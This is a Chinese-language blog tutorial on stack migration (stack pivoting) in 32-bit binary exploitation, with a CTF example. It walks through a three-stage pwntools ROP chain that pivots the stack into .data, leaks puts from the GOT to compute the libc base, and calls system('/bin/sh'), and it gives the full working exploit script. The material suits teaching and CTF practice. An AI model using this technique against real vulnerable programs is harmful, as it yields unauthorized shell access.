Stack Migration(栈迁移)

Stack Migration(栈迁移)

原理

v4FNWD.png

1.通过overflow覆盖prev ebp的值,让程序在执行完当前函数后执行leave(mov esp,ebp ; pop ebp)恢复栈帧时,获取到错误的prev ebp从而让ebp跳转到指定的位置。

vhzk4J.png

2.此时esp执行到我们之前写入的gets函数,gets取buf1处的地址作为参数(buf1的地址也就是我们之前劫持ebp跳转到的地址),此时通过写入shellcode构造第二段rop填入buf1

vhz9BT.png

3.此时程序执行完gets函数后执行leave指令,(mov esp,ebp)将esp移动到此前的ebp的位置,(pop ebp)此时ebp读取buf1中末尾的buf2处存放的地址,跳转到第二处buf空间,也就是buf2的位置

vhxxcq.png

4.这时程序执行完puts函数,puts函数通过读取之前写入的任意函数的GOT表地址,打印出任意函数的GOT表地址,泄露出动态地址

v4FdQH.png

5.程序执行完上一步的pop指令清空栈上的用过的任意函数的GOT表地址(防止程序seg falt),执行gets函数以buf2中存放的地址作为参数,获取输入的内容,存放到buf2中,构建第三段rop

v4FsTP.png

6.程序此时执行完leave指令,(mov esp ,ebp)将esp搬到ebp的位置,(pop ebp)将buf2中存放的buf1的地址赋给ebp

v4FgfS.png

7.此时buf2中的rop中填充了system的动态地址(根据前面的任意函数泄露出来的动态地址-任意函数的静态地址+system函数的静态地址计算所得),并且还写入了/bin/sh字符串,从而执行了get shell的操作

特殊情况

v4FRSg.png

通过add指令,让esp跳转到我们可控的部分

例题-migration

分析

v4F3e1.png

只有NX和RELRO开启

程序无后门函数

v4p6BV.png

read()函数读取了0x40大小的字节,也就是64字节大小,但是buf空间只有24个字节大小,栈溢出

但是也因为read只读取了64字节大小,导致无法构造完整的rop链,所以只能栈迁移

第一段rop

先测定pading大小,正常应该44字节,一直覆盖到return address地址,但是因为需要篡改prev addr所以只覆盖44字节,接下来寻找可以写入的空间

v4p5cR.png

v4pxgA.png

v499DP.png

根据上面两图可知,可写区段是data段,所以采用data段后半截作为buf的地址

v49V3j.md.png

v49lUU.png

接下来就是寻找gets_pltleave_ret的地址

使用ropgadget可以知道

0x08048418 : leave ; ret

使用elfsymbol可以查看函数plt

v49ab6.png

发现没有gets函数,只有read函数,那就用read函数

read函数三个参数

int fd
void *buf
size_t count

所以需要在栈中布置上面的三个参数

from pwn import *
p = process('./migration')

buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418

rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)

p.interactive()

v49vIU.png

可以发现程序正在接收输入,表示成功

第二段rop

目标是在buf1中构建如下的布局

v4CpRJ.png

buf2采用buf1+0x100的方式

puts_plt

gdb-peda$ elfsymbol 
Found 6 symbols
read@plt = 0x8048380
_exit@plt = 0x8048388
puts@plt = 0x8048390
__gmon_start__@plt = 0x8048398
__libc_start_main@plt = 0x80483a0
setvbuf@plt = 0x80483a8

pop_ret

使用ROPgadget

0x0804836d : pop ebx ; ret

puts_got

v4Cuzd.md.png

read_pltleave_ret已经有了

构造接下来的rop

#rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0

rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)

v4CnRH.png

此时打印出来了puts函数的动态地址

第三段rop

首先接收一下上一步打印出来的puts函数的动态地址

puts_dy = u32(p.recvuntil('\n',drop = True))

由于rop链在执行完system后就结束了,所以也不需要再用pop ret了,直接0xdeadbeef就行了

system动态地址

gdb-peda$ off puts
puts:0x67d90
gdb-peda$ off system
system:0x3d3d0

所以system函数动态地址等于puts动态地址-puts静态地址+system静态地址

/bin/sh直接写入就行

/bin/sh地址为buf2+16

第三段的exp为

#rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16
rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()

完整exp

from pwn import *
p = process('./migration')

###rop1
buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418

rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)

###rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0

rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)

###rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16

rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()
posted @ 2022-08-30 22:33  MuRKuo  阅读(57)  评论(0编辑  收藏  举报